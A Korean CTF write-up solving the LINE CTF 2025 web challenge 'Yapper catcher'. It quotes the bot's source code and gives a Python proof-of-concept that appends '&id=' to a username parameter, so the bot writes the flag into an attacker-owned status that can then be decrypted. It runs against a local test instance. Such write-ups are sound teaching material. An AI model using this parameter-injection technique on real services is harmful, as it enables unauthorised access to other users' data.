Line CTF 2025 - Yapper catcher 문제 풀이 입니다.
Result
저는 Yapper catcher 문제를 하나 풀었네요. 열심히 해서 다음엔 팀에 더 기여할 수 있도록….
FLAG
/bot/quotes.js 를 보면 봇이 남기는 문구에 FLAG가 삽입되어 응답합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const superDuperInspirationalQuotes = [
"Sometimes, the journey to <flag> is not about reaching the destination, but about discovering who you become along the way.",
"The <flag> you seek is already within you, waiting to unfold in its perfect timing.",
"Embrace the mess of <flag>, for within it lies the beauty of your growth.",
"To find peace in <flag>, you must first find peace within yourself.",
"The path to <flag> might seem long, but each step brings you closer to a version of yourself you never imagined.",
"No matter the storm, <flag> will always find a way to shine through.",
"Every setback in your <flag> journey is simply the universe redirecting you to something greater.",
"True growth in <flag> comes not from doing, but from being.",
"Let your <flag> be guided by your heart, and your path will always lead you home.",
"In the broken pieces of <flag>, you will find the strength to rebuild what is better.",
]
var rr = 0;
const getQuote = () => {
let quote = superDuperInspirationalQuotes[rr];
quote = quote.replace('<flag>', process.env.FLAG);
rr = (rr + 1) % superDuperInspirationalQuotes.length;
return quote;
}
module.exports = getQuote;
봇이 visit() 동작 하는 코드를 보면 page/?user={username}에 username, quote 를 입력하여 post-status 버튼을 클릭합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const visit = async (username) => {
try {
console.log("Spreading quote...")
const browser = await puppeteer.launch({
headless: "true",
executablePath: `/usr/bin/google-chrome`,
args: [
"--disable-gpu",
"--disable-dev-shm-usage",
"--disable-setuid-sandbox",
"--no-sandbox",
'--ignore-certificate-errors'
],
product: "chrome"
});
let page = (await browser.pages())[0];
const quote = getQuote();
await page.goto(process.env.SERVER_URL + '/?user=' + username)
await page.type('input#username', username);
await page.type('textarea#quote', quote);
await page.click('button#post-status');
await page.waitForNavigation();
console.log(`Quote is at ${page.url()}`)
await browser.close();
console.log(`Closed browser`)
} catch (e) {
console.error(e);
try {
await browser.close();
console.log(`Closed browser`)
} catch (e) { }
}
}
Write-up
봇을 이용해 내가 작성한 패스코드로 암호화된 글에 FLAG 가 포함되게 만든 뒤 해당 글을 복호화 하면 됩니다.
- 방문 URL이 SERVER_URL + ‘/?user=’ + username 이고, 폼 제출로 상태가 생성/갱신
- 신규 생성 시 passcode 미존재 일 경우 서버가 랜덤 패스워드를 생성하지만 갱신하는 형태일 경우 기존 패스코드로 암호화되어 누적 저장됩니다.
아래 사진 처럼 id 변수에 status 값이 들어가면 해당 status가 작성한 글 들을 볼 수 있습니다.
해당 status가 포함된 상태로 글을 작성하게 하면 passcode는 내가 처음에 작성한 passcode로 글이 추가 됩니다.
PoC
- 실제 문제에서는
reCapcha가 있으나, 도커에서는 reCapcha 지우고 함 /bot/index.js에 recaptcha 주석 처리함
1
2
3
4
5
6
7
8
app.post('/bot/quote', async (req, res) => {
const { username } = req.body;
// if (!await verify(req.body)) {
// return res.send(`Bot-powered yapper bot? Not on my watch`);
// }
visit(username);
return res.send(`Bot is yapping as ${username}`);
})
- 글을 하나 작성하여
passcode설정 및status값을 가져옴 - bot(yapper)에게 username 변수 뒤에
&id={statusID}를 추가하여 이미 작성된 status에 추가로 작성하도록 요청 - 봇이 동작할 때 까지 기다린 후 status 목록을 보면 새로운 글이 작성된 것을 확인할 수 있고, 처음에 만든 passcode 입력 시 FLAG를 획득할 수 있음
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
from bs4 import BeautifulSoup
import time
INFO = lambda x: print(f"[+] {x}")
URL = "http://127.0.0.1:9001"
def get_status_id():
data= {
"user":"glasses96",
"quote":"test",
"passcode":"glasses96"}
res = requests.post(f"{URL}",data=data,allow_redirects=False)
statusID = res.headers['Location'].split("/")[1]
INFO(f"Status ID: {statusID}")
return statusID
def bot_quote(statusID):
PATH = "/bot/quote"
data = {
"username":f"glasses96&id={statusID}"
}
res = requests.post(f"{URL}{PATH}",data=data,proxies={"http":"127.0.0.1:8174"})
INFO(f"Response: {res.text}")
return res.text
def get_encrypted_values(statusID):
res = requests.get(f"{URL}/{statusID}")
soup = BeautifulSoup(res.text, 'html.parser')
encrypted_user = soup.find('input', {'id': 'encrypted-user-1'})['value']
INFO(f"Encrypted User: {encrypted_user}")
encrypted_quote = soup.find('input', {'id': 'encrypted-quote-1'})['value']
INFO(f"Encrypted Quote: {encrypted_quote}")
return encrypted_user, encrypted_quote
def decrypt_flag(encrypted_user, encrypted_quote):
data = {
"user":encrypted_user,
"quote":encrypted_quote,
"passcode":"glasses96"
}
res = requests.post(f"{URL}/decrypt",data=data,allow_redirects=False)
return res.text
if __name__ == "__main__":
statusID = get_status_id()
bs4_data = bot_quote(statusID)
time.sleep(60)
while True:
res = requests.get(f"{URL}/{statusID}")
if "encrypted-user-1" in res.text:
INFO("Find encrypted-1 values!")
break
get_encrypted_values(statusID)
encrypted_user, encrypted_quote = get_encrypted_values(statusID)
flag = decrypt_flag(encrypted_user, encrypted_quote)
INFO(f"Flag: {flag}")
1
[+] Flag: {"success":true,"data":{"user":"glasses96&id=96b6cc94864699c66b1cd1c3a7220944","quote":"Sometimes, the journey to LINECTF{test} is not about reaching the destination, but about discovering who you become along the way."}}

